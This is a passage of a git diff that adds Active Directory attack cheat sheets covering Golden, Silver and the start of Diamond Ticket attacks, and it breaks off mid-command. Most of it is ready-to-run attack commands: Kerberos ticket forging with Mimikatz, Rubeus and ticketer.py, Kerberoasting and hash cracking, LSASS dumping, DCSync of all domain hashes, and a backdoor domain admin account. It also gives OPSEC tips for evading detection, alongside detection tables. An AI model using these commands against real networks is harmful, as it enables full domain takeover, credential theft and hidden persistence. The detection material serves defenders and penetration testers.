DC01.corp.local -r corp.local +``` + +*** + +### 🔴 Cross-Domain Golden Ticket (Enterprise Admin Access) + +```bash +# ── Include Extra SID for Enterprise Admins (cross-domain forest access) ────── +# Extra SID format: <RootDomainSID>-519 (Enterprise Admins RID = 519) +ticketer.py -nthash 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \ + -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \ + -domain corp.local \ + -extra-sid S-1-5-21-ROOT-DOMAIN-SID-519 \ + Administrator + +# ── Mimikatz version ────────────────────────────────────────────────────────── +kerberos::golden \ + /user:Administrator \ + /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /krbtgt:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \ + /sids:S-1-5-21-ROOT-DOMAIN-SID-519 \ + /ptt +# /sids = extra SIDs to embed (Enterprise Admins in root domain) +``` + +*** + +### 🔴 Post-Golden Ticket — Immediate Actions + +```bash +# ── 1. Dump ALL domain hashes (DCSync with forged DA ticket) ────────────────── +export KRB5CCNAME=Administrator.ccache +secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local \ + -just-dc-ntlm -outputfile all_domain_hashes + +# ── 2. Create a persistent backdoor domain admin account ───────────────────── +nxc smb DC01.corp.local --use-kcache \ + -x "net user backdoor P@ssword123! /add /domain && net group 'Domain Admins' backdoor /add /domain" + +# ── 3. Give own account DCSync rights (ACL persistence — Attack #65) ───────── +# Add Replication-Get-Changes-All to low_user via PowerView +Import-Module .\PowerView.ps1 +Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \ + -PrincipalIdentity low_user \ + -Rights DCSync -Verbose + +# ── 4. Add KRBTGT hash to your notes — it's your persistent master key ──────── +# Even if DA password changes, KRBTGT hash = permanent domain access +# Until KRBTGT password reset TWICE +``` + +*** + +## 🎯 OPSEC Tips + +- **Use AES256 over RC4** — RC4-encrypted Golden Tickets generate `EncryptionType: 0x17` in Event 4769, which stands out in AES-enforced environments; AES256 is `EncryptionType: 0x12` and is completely normal +- **Set realistic ticket lifetimes** — a 10-year TGT lifetime is a dead giveaway; set `endin` to 600 minutes (default 10 hours) to blend in +- **Use a real existing username** — post-November 2021 patches validate that the username exists in AD; forged tickets with fake usernames will fail on patched DCs +- **Keep the KRBTGT hash stored securely** — it is your permanent backdoor key; treat it with the same security as a private key +- **Don't inject Golden Tickets on the DC itself** — authentication events from LSASS on a DC are heavily monitored; inject on a workstation and access remotely +- **Request individual TGS tickets** rather than accessing resources broadly — targeted service access is harder to correlate than sweeping domain access + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4769** | Security Log | TGS requested but **no prior 4768** (TGT request) — forged tickets skip the AS-REQ | +| **4769** | Security Log | `EncryptionType: 0x17` (RC4) on a domain enforcing AES | +| **4769** | Security Log | TGS for **non-existent user** (pre-Nov 2021 DCs) — `0x6` error code | +| **4770** | Security Log | TGT renewal — abnormally long remaining lifetime on renewal | +| **4624** | Security Log | Logon Type 3 with Kerberos from a machine the user has no business being on | +| **4672** | Security Log | Special privileges assigned — DA-level access from unexpected host | +| **4728/4732** | Security Log | User added to privileged group shortly before suspicious logon | + +**Primary detection signature:** A valid TGS request (4769) with **no corresponding TGT request (4768) from the same IP** is the definitive Golden Ticket indicator — forged TGTs are never presented to the DC as part of an AS-REQ exchange because they were forged offline. Microsoft Defender for Identity (MDI) specifically detects this "TGS without TGT" pattern and raises a high-confidence alert. + +### Invalidating Golden Tickets + +```powershell +# ── Reset KRBTGT password TWICE (required to invalidate all forged tickets) ──── +# First reset — invalidates tickets signed with current hash +Set-ADAccountPassword -Identity krbtgt -NewPassword (ConvertTo-SecureString \ + "NewKrbtgtPassword1!" -AsPlainText -Force) + +# Wait 10 hours for replication + ticket expiry, then: +# Second reset — invalidates tickets signed with previous hash +Set-ADAccountPassword -Identity krbtgt -NewPassword (ConvertTo-SecureString \ + "NewKrbtgtPassword2!" -AsPlainText -Force) + +# ⚠️ WARNING: Both resets must propagate to ALL DCs before the attacker's +# ticket expires — otherwise the attacker can immediately forge a new one +# from the compromised but not-yet-propagated new hash +``` + +*** + +## 🔗 Attack Chain Context + +``` +[Golden Ticket] ──→ Permanent Domain Ownership + │ + ├──→ 🔑 Authenticate as any user to any service — indefinitely + ├──→ 🩸 DCSync on demand — dump all hashes whenever needed + ├──→ 🌐 Cross-forest access via Extra SID embedding (Attack #69) + ├──→ 👤 SID History injection — embed historical SIDs for legacy access + ├──→ 🔒 Survives: password changes, account deletions, DA removals + └──→ 💀 Only defeated by: KRBTGT password reset × 2 +``` + +**The persistence chain in practice:** An attacker who achieves Domain Admin, runs DCSync to get the KRBTGT hash, and generates a Golden Ticket has **effectively won permanently**. Even if the blue team detects the initial compromise, changes every account password, and removes the attacker's access — the KRBTGT hash doesn't change unless explicitly reset. Most organisations never reset the KRBTGT password during incident response because they don't know it's required, leaving the attacker with indefinite re-entry. + +*** + +> ✅ **Attack #11 — Golden Ticket complete.** Tell me to move on when you're ready for **Attack #12 — Silver Ticket Attack**. + +Sources + What a Golden Ticket Attack Is and How to Defend Against One https://www.legitsecurity.com/aspm-knowledge-base/golden-ticket-attack + What is a Golden Ticket Attack? - CrowdStrike https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/golden-ticket-attack/ + What Is a Golden Ticket Attack and How to Detect It https://www.huntress.com/cybersecurity-101/topic/what-is-golden-ticket-attack + What Is a Golden Ticket Attack? Definition & Prevention https://jumpcloud.com/it-index/what-is-a-golden-ticket-attack + Steal or Forge Kerberos Tickets: Golden Ticket https://attack.mitre.org/techniques/T1558/001/ + Understanding the golden ticket attack with Mimikatz https://netwrix.com/company/resources/blog/golden-ticket-attack-mimikatz-detection-defense/ + How to Defend Against Golden Ticket Attacks: AD Security 101 https://www.semperis.com/blog/how-to-defend-against-golden-ticket-attacks/ + Pass-the-ticket attacks: How to detect and prevent credential theft https://www.manageengine.com/products/eventlog/cyber-security/pass-the-ticket-attack.html + What Is a Golden Ticket Attack? How It Works, Detection and Prevention https://netwrix.com/en/cybersecurity-glossary/cyber-security-attacks/golden-ticket-attack/ + Kerberos Protocol: Security Attacks and Solution https://ieeexplore.ieee.org/document/10777133/ + Detecting Abuse of Domain Administrator Privilege Using Windows Event Log https://ieeexplore.ieee.org/document/8631459/ + Detecting Forged Kerberos Tickets in an Active Directory Environment https://arxiv.org/ftp/arxiv/papers/2301/2301.00044.pdf + RASP for LSASS: Preventing Mimikatz-Related Attacks https://arxiv.org/pdf/2401.00316.pdf + Ransomware: Analysing the Impact on Windows Active Directory Domain + Services https://arxiv.org/pdf/2202.03276.pdf + HADES: Detecting Active Directory Attacks via Whole Network Provenance + Analytics http://arxiv.org/pdf/2407.18858.pdf + Catch Me if You Can: Effective Honeypot Placement in Dynamic AD Attack + Graphs https://arxiv.org/pdf/2312.16820.pdf + Ransomware: Analysing the Impact on Windows Active Directory Domain Services https://www.mdpi.com/1424-8220/22/3/953/pdf + The Reversing Machine: Reconstructing Memory Assumptions https://arxiv.org/pdf/2405.00298.pdf + Can LLMs Hack Enterprise Networks? Autonomous Assumed Breach + Penetration-Testing Active Directory Networks https://arxiv.org/pdf/2502.04227.pdf + Detecting and mitigating Active Directory compromises https://www.cyber.gov.au/business-government/detecting-responding-to-threats/detecting-and-mitigating-active-directory-compromises + Detection Mechanism https://www.manageengine.com/log-management/cyber-security/golden-ticket-attack.html + Detecting and Preventing the Path to a Golden Ticket With Cortex XDR https://www.paloaltonetworks.com/blog/security-operations/detecting-and-preventing-the-path-to-a-golden-ticket-with-cortex-xdr/ + What is a Golden Ticket Attack? - SentinelOne https://www.sentinelone.com/cybersecurity-101/cybersecurity/golden-ticket-attack/ + Breaking the Ticket: A Beginner's Guide to Kerberos Attacks https://owasp.org/www-chapter-bangkok/slides/2025/2025-02-07_Breaking-the-Ticket-A-Beginners-Guide-to-Kerberos-Attacks.pdf + T1558.001 Steal or Forge Kerberos Tickets: Golden Ticket https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1558.001/T1558.001.md diff --git a/src/content/sheets/active-directory/attack-12-silver-ticket-attack.md b/src/content/sheets/active-directory/attack-12-silver-ticket-attack.md @@ -0,0 +1,439 @@ +--- +title: "Attack #12 — Silver Ticket Attack" +description: "The Silver Ticket attack is the surgical counterpart to the Golden Ticket. Instead of forging a Ticket Granting Ticket (TGT) with the KRBTGT hash (which…" +category: active-directory +tags: ["active-directory", "kerberos", "adcs", "credential-access", "ntlm"] +tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "Hashcat"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #12 — Silver Ticket Attack.md" +--- +# 🟠 Attack #12 — Silver Ticket Attack + +*** + +## 📖 How It Works + +The Silver Ticket attack is the **surgical counterpart to the Golden Ticket**. Instead of forging a Ticket Granting Ticket (TGT) with the KRBTGT hash (which grants domain-wide access), an attacker forges a **Ticket Granting Service (TGS) ticket** using the **NTLM hash or AES key of a specific service account**. Because service tickets are encrypted and signed with the target service account's secret, the service accepts the forged ticket as legitimate — and critically, **the TGS is validated entirely by the target service, not the Domain Controller**. The DC is never contacted, which makes Silver Tickets significantly stealthier than Golden Tickets. + +The forged TGS contains a fabricated PAC (Privilege Attribute Certificate) with whatever group memberships and privileges the attacker specifies. Since the target service trusts the PAC without verifying it against the KDC, the attacker can impersonate any user — including Domain Admins — for that specific service only. This makes Silver Tickets ideal for **targeted, persistent access to individual services** like CIFS (file shares), MSSQL, HTTP (web services), LDAP, or HOST (PsExec/scheduled tasks). + +### What You Need to Forge a Silver Ticket + +| Parameter | Where to Get It | Notes | +|---|---|---| +| **Service account NT hash** | Kerberoasting, LSASS dump, DCSync, NTDS.dit | The key that encrypts the TGS — this is the core requirement | +| **Service account AES256 key** | Mimikatz `sekurlsa::ekeys`, DCSync | Preferred — stealthier, avoids RC4 downgrade detection | +| **Domain SID** | `whoami /user`, PowerView, `Get-ADDomain` | e.g. `S-1-5-21-...` — everything before the last RID | +| **Domain FQDN** | `$env:USERDNSDOMAIN`, `ipconfig /all` | e.g. `corp.local` | +| **Target SPN** | `setspn -L <account>`, PowerView `Get-DomainSPNTicket` | e.g. `CIFS/DC01.corp.local`, `MSSQLSvc/SQL01.corp.local:1433` | +| **Target username** | Any valid or fabricated username | The user to impersonate in the forged PAC | + +### Common Service SPNs and What They Grant + +| SPN Type | Example SPN | What Access It Grants | +|---|---|---| +| **CIFS** | `CIFS/DC01.corp.local` | SMB file share access, `dir \\DC01\C$` | +| **HOST** | `HOST/DC01.corp.local` | PsExec, scheduled tasks, WMI on the target | +| **LDAP** | `LDAP/DC01.corp.local` | DCSync-equivalent — replication queries against the DC | +| **MSSQLSvc** | `MSSQLSvc/SQL01.corp.local:1433` | SQL Server access as sysadmin | +| **HTTP** | `HTTP/WEB01.corp.local` | Web application access (ADFS, Exchange OWA, etc.) | +| **WSMAN** | `WSMAN/SRV01.corp.local` | WinRM / Evil-WinRM remote shell | +| **RPCSS** | `RPCSS/DC01.corp.local` | DCOM/RPC access on the target | + +### Golden Ticket vs Silver Ticket Comparison + +| Aspect | Golden Ticket | Silver Ticket | +|---|---|---| +| **Forges** | TGT (Ticket Granting Ticket) | TGS (Service Ticket) | +| **Key required** | KRBTGT hash | Service account hash | +| **Scope** | Entire domain — any service | Single service only | +| **DC contact** | TGS requests still hit the DC | No DC contact at all | +| **Stealth** | Moderate — TGS requests are logged | High — no KDC event logs generated | +| **Detection** | 4769 without 4768, encryption anomalies | Very difficult — no DC-side events | +| **Prerequisite** | Domain Admin (to get KRBTGT) | Any path to the service account hash | + +### The Full Attack Flow + +``` +1. Compromise a service account hash (Kerberoasting, LSASS dump, DCSync) +2. Identify the target SPN (CIFS, HOST, LDAP, MSSQLSvc, etc.) +3. Collect the domain SID +4. Forge a Silver Ticket offline (no DC contact needed) +5. Inject into current session (kerberos::ptt / Rubeus ptt) +6. Access the target service as the forged user +7. DC never sees the authentication — no 4768/4769 events generated +8. Persist until the service account password is changed +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Service account NT hash or AES key** | Obtained via Kerberoasting (if SPN-registered), LSASS dump, DCSync, or NTDS.dit extraction | +| **Domain SID** | Available from any domain-joined host with low-priv access | +| **Target SPN** | The Service Principal Name of the service you want to access | +| **Network access to target service** | Must be able to reach the service port (445 for CIFS, 1433 for MSSQL, etc.) | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **Mimikatz** | Windows | `kerberos::golden` with `/service:` flag — forges Silver Tickets | +| **Rubeus** | Windows | `silver` subcommand — cleaner syntax, supports AES | +| **Impacket — ticketer.py** | Linux | `-spn` flag for Silver Ticket forging; outputs `.ccache` | +| **Impacket — secretsdump.py** | Linux | Extract service account hashes via DCSync | +| **Impacket — GetUserSPNs.py** | Linux | Kerberoast to obtain service account hashes | +| **CrackMapExec / NetExec** | Linux | `--use-kcache` to authenticate with forged ticket | + +*** + +## 💻 Full Commands + +### 🔵 Step 0 — Obtain Target Service Account Hash + +```powershell +# ── Kerberoasting — crack the service account password hash ────────────────── +# (Most common path to a Silver Ticket — requires only domain user) + +# Rubeus — request TGS for all kerberoastable accounts +.\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt + +# Crack with hashcat (mode 13100 = Kerberos 5 TGS-REP etype 23) +hashcat -m 13100 kerberoast_hashes.txt rockyou.txt --force + +# ── Direct hash extraction (if you have DA or local admin on the service host) +# Mimikatz — dump service account hash from LSASS +privilege::debug +sekurlsa::logonpasswords +# Look for NTLM hash of the service account (e.g. svc_mssql) + +# Or extract AES keys specifically +sekurlsa::ekeys +# Look for aes256_hmac value for the target service account +``` + +```bash +# ── Linux — Kerberoast via Impacket ────────────────────────────────────────── +GetUserSPNs.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \ + -request -outputfile kerberoast_hashes.txt + +# Crack the hash +hashcat -m 13100 kerberoast_hashes.txt rockyou.txt --force + +# ── Linux — DCSync a specific service account ──────────────────────────────── +secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local \ + -just-dc-user corp.local/svc_mssql + +# Extract the NT hash from output: +# corp.local\svc_mssql:1103:aad3b435b51404eeaad3b435b51404ee:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6::: +# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +# This is the NT hash you need +``` + +*** + +### 🔵 Step 0b — Enumerate SPNs for the Target Service + +```powershell +# Windows — multiple methods +setspn -L svc_mssql # List SPNs for specific account +setspn -Q */* # List ALL SPNs in the domain + +# PowerView +Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname + +# Active Directory module +Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName | + Select-Object Name, ServicePrincipalName +``` + +```bash +# Linux — enumerate SPNs +GetUserSPNs.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 +# Lists all kerberoastable SPNs with their service accounts +``` + +*** + +### 🔴 Mimikatz — Forge & Inject Silver Ticket (Windows) + +```powershell +# ── Silver Ticket for CIFS — access file shares on DC01 ────────────────────── +kerberos::golden \ + /user:Administrator \ + /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /target:DC01.corp.local \ + /service:CIFS \ + /rc4:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + /ptt + +# ── Flags explained: +# /user = username to impersonate (DA or any user) +# /domain = domain FQDN +# /sid = domain SID +# /target = FQDN of the target server hosting the service +# /service = service type (CIFS, HOST, LDAP, MSSQLSvc, HTTP, etc.) +# /rc4 = NT hash of the service account running the target service +# /ptt = inject directly into current session + +# ── Silver Ticket with AES256 (stealthiest) ────────────────────────────────── +kerberos::golden \ + /user:Administrator \ + /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /target:DC01.corp.local \ + /service:CIFS \ + /aes256:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + /ptt + +# ── Silver Ticket for HOST — enables PsExec / scheduled tasks ──────────────── +kerberos::golden \ + /user:Administrator \ + /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /target:DC01.corp.local \ + /service:HOST \ + /rc4:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + /ptt + +# ── Silver Ticket for LDAP — DCSync-equivalent without DA ──────────────────── +# ⚠️ Requires the DC's machine account hash (DC01$ computer account) +kerberos::golden \ + /user:Administrator \ + /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /target:DC01.corp.local \ + /service:LDAP \ + /rc4:<DC01_MACHINE_ACCOUNT_HASH> \ + /ptt +# Now you can run: lsadump::dcsync /domain:corp.local /user:krbtgt + +# ── Silver Ticket for MSSQLSvc — SQL Server as sysadmin ────────────────────── +kerberos::golden \ + /user:Administrator \ + /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /target:SQL01.corp.local \ + /service:MSSQLSvc \ + /rc4:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + /ptt + +# ── Save to .kirbi file (for later use / transfer) ─────────────────────────── +kerberos::golden \ + /user:Administrator \ + /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /target:DC01.corp.local \ + /service:CIFS \ + /rc4:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + /ticket:silver_cifs.kirbi + +# Inject saved .kirbi later +kerberos::ptt silver_cifs.kirbi + +# ── Verify injection ───────────────────────────────────────────────────────── +klist +# Should show a ticket for cifs/DC01.corp.local + +# ── Use the Silver Ticket ──────────────────────────────────────────────────── +dir \\DC01.corp.local\C$ # CIFS ticket +psexec.exe \\DC01.corp.local cmd.exe # HOST ticket +``` + +*** + +### 🔴 Rubeus — Forge Silver Ticket (Windows — Modern Approach) + +```powershell +# ── Silver Ticket with RC4 ─────────────────────────────────────────────────── +.\Rubeus.exe silver \ + /user:Administrator \ + /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /service:CIFS/DC01.corp.local \ + /rc4:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + /ptt /nowrap + +# ── Silver Ticket with AES256 ──────────────────────────────────────────────── +.\Rubeus.exe silver \ + /user:Administrator \ + /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /service:CIFS/DC01.corp.local \ + /aes256:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + /ptt /nowrap + +# ── HOST ticket for remote execution ───────────────────────────────────────── +.\Rubeus.exe silver \ + /user:Administrator \ + /domain:corp.local \ + /sid:S-1-5-21-3878595448-1012506728-1948843120 \ + /service:HOST/DC01.corp.local \ + /rc4:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + /ptt /nowrap + +# ── Verify ─────────────────────────────────────────────────────────────────── +.\Rubeus.exe triage +klist +``` + +*** + +### 🔴 Impacket — ticketer.py (Linux — Forge Silver Ticket) + +```bash +# ── Forge Silver Ticket for CIFS from Linux ─────────────────────────────────── +ticketer.py -nthash a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \ + -domain corp.local \ + -spn CIFS/DC01.corp.local \ + Administrator +# Output: Administrator.ccache + +# ── Forge using AES256 key ──────────────────────────────────────────────────── +ticketer.py -aesKey b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \ + -domain corp.local \ + -spn CIFS/DC01.corp.local \ + Administrator + +# ── Forge for HOST (PsExec) ─────────────────────────────────────────────────── +ticketer.py -nthash a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \ + -domain corp.local \ + -spn HOST/DC01.corp.local \ + Administrator + +# ── Forge for LDAP (DCSync-equivalent) ──────────────────────────────────────── +ticketer.py -nthash <DC01_MACHINE_HASH> \ + -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \ + -domain corp.local \ + -spn LDAP/DC01.corp.local \ + Administrator + +# ── Forge for MSSQLSvc ──────────────────────────────────────────────────────── +ticketer.py -nthash a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \ + -domain corp.local \ + -spn MSSQLSvc/SQL01.corp.local:1433 \ + Administrator + +# ── Set and use the ticket ──────────────────────────────────────────────────── +export KRB5CCNAME=Administrator.ccache + +# CIFS access +smbclient.py -k -no-pass corp.local/Administrator@DC01.corp.local + +# Remote execution (HOST ticket) +psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local +wmiexec.py -k -no-pass corp.local/Administrator@DC01.corp.local + +# DCSync via LDAP Silver Ticket +secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local + +# NetExec +nxc smb DC01.corp.local --use-kcache +nxc smb DC01.corp.local --use-kcache -x "whoami /all" + +# MSSQL access +mssqlclient.py -k -no-pass corp.local/Administrator@SQL01.corp.local -windows-auth +``` + +*** + +### 🔴 Multi-Service Silver Ticket Combo (Full Host Takeover) + +```bash +# ── To fully own a target host, you often need BOTH CIFS + HOST tickets ────── +# CIFS = file share access | HOST = remote execution + +# Forge CIFS ticket +ticketer.py -nthash a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \ + -domain corp.local \ + -spn CIFS/DC01.corp.local \ + Administrator + +# Use CIFS ticket to upload tools +export KRB5CCNAME=Administrator.ccache +smbclient.py -k -no-pass corp.local/Administrator@DC01.corp.local +# > put mimikatz.exe + +# Forge HOST ticket (same hash, different SPN) +ticketer.py -nthash a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \ + -domain corp.local \ + -spn HOST/DC01.corp.local \ + Administrator + +# Use HOST ticket to execute +export KRB5CCNAME=Administrator.ccache +psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local +``` + +*** + +## 🎯 OPSEC Tips + +- **Use AES256 over RC4** — RC4-encrypted Silver Tickets produce `EncryptionType: 0x17` in local service logs, which is anomalous in AES-only environments; AES256 (`0x12`) blends with normal traffic +- **Target specific services** — a Silver Ticket for CIFS on a single file server is far less suspicious than broad access patterns +- **Set realistic ticket lifetimes** — default Mimikatz creates 10-year tickets; set to standard 10-hour lifetime to blend in +- **Silver Tickets don't touch the DC** — this is your biggest stealth advantage; there are zero KDC-side event logs generated for the forged ticket +- **For LDAP Silver Tickets** — you need the **DC's machine account hash** (DC01$), not a user service account; the LDAP service on a DC runs under the computer account +- **Don't generate excessive service tickets** — rapid creation of Silver Tickets for multiple services on the same host correlates in endpoint logs +- **Prefer Silver Tickets over Golden Tickets** when you only need access to one service — smaller blast radius means less detection surface + +*** + +## 🛡️ Detection — Event IDs + +| Event ID | Source | What to Look For | +|---|---|---| +| **4624** | Security Log (Target Host) | Logon Type 3 from unexpected source — Silver Tickets bypass the DC, so the logon event only appears on the target server | +| **4634** | Security Log (Target Host) | Logoff after suspicious session — correlate with 4624 | +| **4672** | Security Log (Target Host) | Special privileges assigned — DA-level access from unexpected user on the target host | +| **4769** | Security Log (DC) | **ABSENT** — this is the key indicator; there should be NO 4769 on the DC for a Silver Ticket, because the DC was never contacted | +| **4768** | Security Log (DC) | **ABSENT** — no TGT request either; if service access occurs without 4768 + 4769, it's a forged ticket | + +**Primary detection challenge:** Silver Tickets are inherently harder to detect than Golden Tickets because **the Domain Controller is completely bypassed**. The forged TGS is presented directly to the target service, which validates it locally using its own service account key. There are no KDC-side audit events. Detection must rely on **endpoint-level monitoring** — looking for service access events (4624 Type 3) on target servers that have no corresponding TGT/TGS request trail on the DC. Microsoft's PAC validation feature (enabled by default since November 2021 patches) adds a server-side check where the service contacts the DC to validate the PAC, which significantly improves Silver Ticket detection. + +### PAC Validation — The Silver Ticket Killer + +``` +# Post-November 2021 Windows Updates: +# - Services now validate the PAC by contacting the DC +# - This means Silver Tickets with fabricated PACs will FAIL on patched systems +# - The DC checks if the user actually has the claimed group memberships +# - This doesn't kill Silver Tickets entirely — tickets forged with CORRECT +# PAC data (real user, real groups) still work +# - But you can no longer forge tickets for fake users or fake group memberships +``` + +*** + +## 🔗 Attack Chain Context + +``` +[Silver Ticket] ──→ Targeted Service Access + │ + ├──→ 📁 CIFS Silver Ticket → SMB file share access (C$, ADMIN$) + ├──→ 💻 HOST Silver Ticket → PsExec / scheduled tasks / remote exec + ├──→ 🩸 LDAP Silver Ticket → DCSync equivalent (needs DC machine hash) + ├──→ 🗄️ MSSQLSvc Silver Ticket → SQL Server sysadmin access + ├──→ 🌐 HTTP Silver Ticket → Web app access (Exchange, ADFS) + ├──→ 🔑 Stealthier than Golden Ticket — no DC event logs + ├──→ 🔒 Survives: password changes of OTHER accounts + └──→ 💀 Defeated by: service account password rotation + PAC validation +``` + +**The Silver Ticket persists** until the target service account's password is changed. Unlike Golden Tickets (which require KRBTGT reset × 2), a simple password rotation of the compromised service account invalidates all forged Silver Tickets for that service. This is why **Managed Service Accounts (gMSAs)** — which auto-rotate passwords every 30 days — are the strongest mitigation against Silver Ticket persistence. + +*** + +> ✅ **Attack #12 — Silver Ticket complete.** diff --git a/src/content/sheets/active-directory/attack-13-diamond-ticket-attack.md b/src/content/sheets/active-directory/attack-13-diamond-ticket-attack.md @@ -0,0 +1,181 @@ +--- +title: "Attack #13 — Diamond Ticket Attack" +description: "The Diamond Ticket is an evolution of the Golden Ticket that was developed to bypass modern detection mechanisms. While a Golden Ticket forges a TGT…" +category: active-directory +tags: ["active-directory", "adcs", "credential-access", "kerberos", "privilege-escalation"] +tools: ["Impacket", "Mimikatz", "Rubeus", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #13 — Diamond Ticket Attack.md" +--- +# 🟠 Attack #13 — Diamond Ticket Attack + +*** + +## 📖 How It Works + +The Diamond Ticket is an **evolution of the Golden Ticket** that was developed to bypass modern detection mechanisms. While a Golden Ticket forges a TGT entirely from scratch (meaning there is no corresponding AS-REQ in the DC logs, which is a primary detection indicator), a Diamond Ticket takes a **legitimate TGT obtained through a real AS-REQ/AS-REP exchange**, decrypts it using the KRBTGT AES key, **modifies the PAC** (Privilege Attribute Certificate) to inject elevated group memberships, then re-encrypts and re-signs it. Because the ticket originated from a real authentication event, it has a valid audit trail on the DC — making it significantly harder to detect. + +### Diamond Ticket vs Golden Ticket + +| Aspect | Golden Ticket | Diamond Ticket | +|---|---|---| +| **TGT source** | Forged entirely offline | Real TGT from legitimate AS-REQ | +| **AS-REQ event** | ❌ Missing (primary IOC) | ✅ Present — blends with normal traffic | +| **PAC** | Entirely fabricated | Modified from legitimate PAC | +| **KRBTGT key needed** | Yes (NT hash or AES) | Yes (AES256 required for decryption) | +| **Detection difficulty** | Moderate — missing AS-REQ | Hard — requires PAC anomaly detection | +| **OPSEC level** | Medium | High | +| **Tool support** | Mimikatz, Rubeus, ticketer.py | Rubeus (`diamond` command) | + +### The Full Attack Flow + +``` +1. Obtain KRBTGT AES256 key (via DCSync) +2. Request a legitimate TGT for your controlled user (real AS-REQ) +3. Rubeus decrypts the TGT using the KRBTGT AES key +4. Modify the PAC — inject DA/EA group memberships (RID 512, 519, etc.) +5. Re-encrypt and re-sign the TGT with the KRBTGT key +6. Inject the modified ticket into your session +7. Access any resource as DA — with a clean audit trail on the DC +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **KRBTGT AES256 key** | Required for decryption/re-encryption — NT hash alone is insufficient | +| **Domain Admin or DCSync rights** | To extract the KRBTGT key | +| **Valid domain user account** | Needed to request the initial legitimate TGT | +| **Domain SID** | For PAC modification | + +*** + +## 🛠️ Tools + +| Tool | Platform | Notes | +|---|---|---| +| **Rubeus** | Windows | `diamond` subcommand — primary tool for Diamond Tickets | +| **Mimikatz** | Windows | DCSync to extract KRBTGT AES key (prerequisite step) | +| **Impacket — secretsdump.py** | Linux | Extract KRBTGT AES key from Linux | +| **Impacket — ticketer.py** | Linux | Can be used with modifications for PAC manipulation | + +*** + +## 💻 Full Commands + +### 🔵 Step 0 — Extract KRBTGT AES256 Key + +```powershell +# ── Mimikatz DCSync for KRBTGT AES key ──────────────────────────────────────── +privilege::debug +lsadump::dcsync /domain:corp.local /user:krbtgt + +# Look for: aes256_hmac: b65fb27c8e0d7c5f48b16c10b4... +``` + +```bash +# ── Linux — secretsdump ─────────────────────────────────────────────────────── +secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local -just-dc-user krbtgt +# Extract the aes256-cts-hmac-sha1-96 key from the kerberos section +``` + +### 🔴 Rubeus — Forge Diamond Ticket + +```powershell +# ── Standard Diamond Ticket — impersonate DA ────────────────────────────────── +.\Rubeus.exe diamond \ + /krbkey:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \ + /user:low_user \ + /password:Password1 \ + /enctype:aes \ + /domain:corp.local \ + /dc:DC01.corp.local \ + /ticketuser:Administrator \ + /ticketuserid:500 \ + /groups:512 \ + /ptt + +# Flags explained: +# /krbkey = KRBTGT AES256 key +# /user = YOUR low-priv user to request initial legitimate TGT +# /password = YOUR password for the initial TGT request +# /enctype = Force AES 